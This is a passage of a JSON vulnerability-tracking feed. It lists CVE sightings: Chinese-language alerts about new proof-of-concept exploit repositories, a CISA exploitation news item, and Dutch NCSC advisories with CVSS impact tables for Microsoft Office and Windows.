\u9879\u76ee\u4f5c\u8005\uff1a Saku0512\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-16 05:32:51\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:07.312267Z"}, {"uuid": "a5aea69e-7590-4edb-a289-d43602939db4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5415", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/89279", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-5415\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a izxci\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-17 09:56:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-5415 WP Captcha PRO Authenticated Authentication Bypass Exploit\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:08.530541Z"}, {"uuid": "bc453a45-053a-4acc-a5d3-0e1c2d891513", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/89493", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54420-LiteSpeed-Symlink-Exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a fevar54\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-18 15:24:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA vulnerability in LiteSpeed cPanel Plugin before 2.4.8 and WHM Plugin before 5.3.2.0 mishandles symlinks provided by a user with FTP or web shell access on a shared hosting server running CloudLinux/CageFS.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:08.618705Z"}, {"uuid": "1342f90b-3986-482d-ba67-c9e918473213", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54761", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/89650", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54761-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Saku0512\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-19 13:38:56\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:17.963803Z"}, {"uuid": "02f131ee-b54e-40f9-af48-2050a8b78b04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54337", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/89729", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54337-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 4qu4r1um\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-20 03:49:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54337 - Unauthenticated File Write/Overwrite PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:18.096577Z"}, {"uuid": "246906b7-9d8e-4255-aa55-3ecd698042d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54806", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/90140", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54806\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a joshuavanderpoll\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-22 16:18:45\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated PHP Object Injection to RCE in WP Activity Log <= 5.6.3.1 (CVE-2026-54806)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:19.233957Z"}, {"uuid": "66276709-d7ce-4153-b404-01e9093a7b01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54161", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/91470", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54161\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ja-errorpro\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-01 16:11:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:26.299199Z"}, {"uuid": "b3a6495e-007c-4be1-a74e-508e3fd04d6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54424", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/91664", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54424\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tomadimitrie\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C++\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-02 22:17:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExploiting Parsec for Windows to gain SYSTEM privileges\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:28.123883Z"}, {"uuid": "ebe493f6-fd78-4558-98d2-57835b6356db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54477", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/91660", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #XSS #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54477\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a MichaelAdamGroberman\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-02 22:00:01\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54477: Admin Panel Missing Security Headers (clickjacking/XSS) - Gardyn (ICSA-26-183-03)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:28.166568Z"}, {"uuid": "7cf96d70-d257-4a94-a869-799872c00871", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54415", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/91884", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54415-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a abdugafforov-bobur\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-04 11:15:28\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-54415 \u2014 Azuriom CMS (<1.2.11) Broken Access Control \u2192 account takeover\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:29.294944Z"}, {"uuid": "5161d7e4-92ad-4421-b74f-ce2c6dc4d536", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54998", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/91960", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #EXP #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54998-exp\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a sentinel-aidefense\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-04 22:59:45\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54998 RCE Exploit\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:29.464142Z"}, {"uuid": "8efa7ed0-df39-4bde-a83d-09bb7cfe55f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54520", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/92588", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54520\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a chaitanyagarware\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-09 00:50:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54520 / GHSA-cm8g-8jfq-887p: ai-agent-automation workflow path traversal advisory landing page\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:33.234417Z"}, {"uuid": "b8eabcea-1b56-447c-a121-40814aa488d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54350", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/92275", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54350-Budibase-NoSQL-Injection\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a BiiTts\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-07 01:19:13\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-54350 \u2014 Budibase unauthenticated NoSQL operator injection (CVSS 10.0). Read/mass-write any document collection via a PUBLIC query.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:30.767428Z"}, {"uuid": "dc278e81-0da4-4067-a396-ac13e2d7b106", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54572", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqnhgagnyh2g", "content": "CVE-2026-54572 - rclone: Unvalidated symlink target in local `--links` \u2014 arbitrary file write from an untrusted remote\nCVE ID : CVE-2026-54572\n \n Published : July 14, 2026, 10:17 p.m. | 1\u00a0hour, 14\u00a0minutes ago\n \n Description : Rclone is a command-line program to sync files and ...", "creation_timestamp": "2026-07-15T00:24:24.218811Z"}, {"uuid": "3b086ce1-d656-48fb-a5e6-d37baa658573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54519", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/92598", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54519\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a chaitanyagarware\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-09 00:50:01\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54519 / GHSA-qv97-83w4-ff86: ai-agent-automation memory authorization advisory landing page\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:33.458199Z"}, {"uuid": "849a8697-4b1b-4ce8-86ed-6952596f8692", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "exploited", "source": "https://t.me/BleepingComputer/24911", "content": "\u200aCISA warns of another cPanel plugin flaw exploited in attacks\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) has given U.S. government agencies three days to secure their servers against an actively exploited vulnerability (CVE-2026-54420) in the LiteSpeed cPanel user-end plugin. [...]\n\nhttps://www.bleepingcomputer.com/news/security/cisa-warns-of-another-actively-exploited-cpanel-plugin-flaw/", "creation_timestamp": "2026-07-15T00:00:36.941033Z"}, {"uuid": "3b8dad33-ba52-4a81-b1ca-4cde31808b20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54108", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0237", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse Office producten, zoals Word, Excel, Powerpoint en SharePoint. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot categorie\u00ebn schade, zoals benoemd in onderstaande tabel.\n\nVoor succesvol misbruik moet de kwaadwillende het slachtoffer misleiden een malafide bestand te openen of link te volgen, met uitzondering van SharePoint. Voor succesvol misbruik van kwetsbaarheden in SharePoint is geen gebruikersinteractie nodig, anders dan het volgen van een malafide link.\n\n```\nMicrosoft Office SharePoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54108 | 6.50 | Voordoen als andere gebruiker       | \n| CVE-2026-56164 | 5.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50522 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58644 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55016 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55019 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55020 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55021 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55030 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55034 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55126 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55051 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55040 | 9.10 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-55052 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55135 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-56157 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-58277 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Word: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55050 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55032 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55033 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55124 | 5.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-55127 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55055 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55038 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55132 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55134 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55142 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55128 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55130 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office PowerPoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55043 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55123 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55120 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56193 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-47290 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50301 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50314 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50467 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55017 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55018 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55022 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55023 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55125 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55026 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55027 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55028 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55047 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55045 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-55049 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55129 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55035 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55057 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55056 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55140 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55042 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55139 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50665 | 7.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56192 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56195 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office OneNote: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55133 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Excel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50675 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50678 | 6.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54988 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55899 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55948 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58618 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47642 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48580 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55024 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50408 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55046 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55025 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55031 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55048 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55029 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55039 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55041 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55138 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55136 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55141 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55036 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55044 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55054 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55037 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55058 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55137 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55053 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55122 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55898 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55947 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55949 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56156 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-15T01:00:46.787701Z"}, {"uuid": "50ebcf70-decf-4e48-b01f-e86f03cf4a8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54107", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | 